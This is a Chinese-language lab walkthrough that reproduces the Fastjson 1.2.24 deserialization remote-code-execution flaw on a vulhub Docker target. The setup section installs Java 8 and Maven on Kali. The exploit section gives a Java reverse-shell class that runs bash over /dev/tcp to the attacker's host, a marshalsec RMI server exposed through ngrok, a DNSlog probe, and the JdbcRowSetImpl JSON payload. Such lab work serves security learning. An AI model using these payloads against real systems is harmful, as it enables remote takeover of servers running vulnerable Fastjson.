0 fastjson漏洞原理
1 初始环境
1、准备攻击主机B中的环境
Java1.8版本准备
maven环境准备,安装mvn命令
1.1 kali安装java8环境
参考
https://blog.csdn.net/fly_enum/article/details/134790437
(1)下载安装jav8
需要登录网址 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html ,选择自己需要的java版本下载
cd /opt/
wget https://download.oracle.com/otn/java/jdk/8u20-b26/jdk-8u20-linux-x64.tar.gz
tar -xvzf jdk-8u20-linux-x64.tar.gz
(2)设置环境变量
vim /etc/profile
export JAVA_HOME=/opt/jdk1.8.0_20
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出,source /etc/profile
(3 ) 配置java 8优先级为1
依次执行命令:
update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_20/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_20/bin/javac 1
切换JDK版本
update-alternatives --config java
(4) 查看java版本
java -version
javac -version
1.2 kali安装maven
kali是无法直接安装mvnDDe ,直接使用apt-get 安装软件将提示:
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package ****
(1)kali安装mvn
参考:
https://blog.csdn.net/weixin_42250835/article/details/120349852
(1)官网下载 https://maven.apache.org/download.cgi
wget https://dlcdn.apache.org/maven/maven-3/3.9.8/binaries/apache-maven-3.9.8-bin.tar.gz
(2)解压maven安装包
mv apache-maven-3.9.8-bin.tar.gz /opt/
cd /opt/
tar -zxvf apache-maven-3.9.8-bin.tar.gz
(3)配置maven: vim /etc/profile
在配置文件配置中加上:
export MAVEN_HOME=/opt/apache-maven-3.9.8
export PATH=$MAVEN_HOME/bin:$PATH
注意 fi if 语句结尾需要有一行留空!
(4)配置maven mvn ,根据自己的包路径修改一下
update-alternatives --install /usr/bin/mvn mvn /opt/apache-maven-3.9.8/bin/mvn 1
(5)刷新配置文件让文件生效
source /etc/profile
这里有点坑,就是当你执行完 source /etc/profile 没有任何的提示信息,其实 到了这一步已经成功了
(6)查看maven 版本验证
mvn -version 或者 mvn -v
2 漏洞利用
环境准备:
docker容器、vulhub靶场部署、java1.8、maven、KALI系统、LINUX系统、Windows系统,公网IP
需要三台设备:
1)主机A(目标靶机)
2)主机B(攻击方-rmi服务器&利用工具)
3)主机C(攻击方-恶意文件构造及映射)
2.0 准备靶场环境
主机A部署好vulhub后,进入vulhub/fastjson/目录
cd /home/ubuntu/Desktop/vulhub/fastjson/
cd 1.2.24-rce
docker-compose up -d
docker ps
在windows机器里访问 http://192.168.110.131:8090/,显示下面这个页面则为靶场开启成功。
2.1 编写反弹shell脚本
(1)编写GetShell.java
注意反弹连接的主机如果为阿里云,记得设置安全组,开通入站规则中7777端口的连接
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
class GetShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.110.132/7777 0>&1"};
//这里的IP记得改为目标靶机的IP
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
(2)编译
javac GetShell.java //老样子,编译一下,输出class文件;(跟之前的class文件放在一起)
(3)开启服务
python -m http.server 4444
(4)访问服务:
访问4444端口,确定class文件映射出来了
(5)漏洞探测-使用DNSlog
访问DNSlog平台http://www.dnslog.cn/
生成新的域名
{"zeo":{"@type":"java.net.Inet4Address","val":"test.08ubjr.dnslog.cn"}}
观察DNSlog平台有访问记录,则可能存在漏洞
2.2 用marshalsec反序列化漏洞利用工具搭建RMI服务
(1)这里需要搭建RMI服务,首先下载marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/ //下载成功后,进入对应目录下
mvn clean package -Dmaven.test.skip=true //快速清理项目、编译源代码、打包项目,同时跳过耗时的测试阶段。(有的文章是使用mvn clean package-DskipTests
,这个命令是老版本的,我会失败,所以换了长的这个版本)
(2)使用marshalsec工具,监听主机C构造的恶意代码文件的地址
使用marshalsec工具,开启RMI服务,监听9999端口,并指向我们的恶意代码文件地址
这里第135后面跟的4444端口是开启Http映射的时候设置的端口,后面的9999端口是我们rmi服务用来监听的端口
cd /marshalsec/target/ //进入target目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.132:4444/#GetShell" 9999
2.3 漏洞利用
(1)使用ngrok将RMI监听的9999映射到公网上,因为内网无法让靶机访问到
kali机器执行。ngrok使用参考https://editor.csdn.net/md/?articleId=136709943
ngrok tcp 9999
(2)向靶机执行恶意代码
{
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://0.tcp.jp.ngrok.io:15060/GetShell",
"autoCommit": true
}
}
(3)观察攻击是否成功
RMI监听道新的连接成功:
公网IP监听到反弹shell成功
参考
用marshalsec & Jndi注入利用工具(JNDI-Injection-Exploit)复现Fastjson反序列化漏洞–保姆级!复现过程!
少走弯路之marshalsec的编译(RMI必备工具)
学习Fastjson 1.2.47 远程命令执行漏洞
每天了解一个漏洞——fastjson
干货|最全fastjson漏洞复现与绕过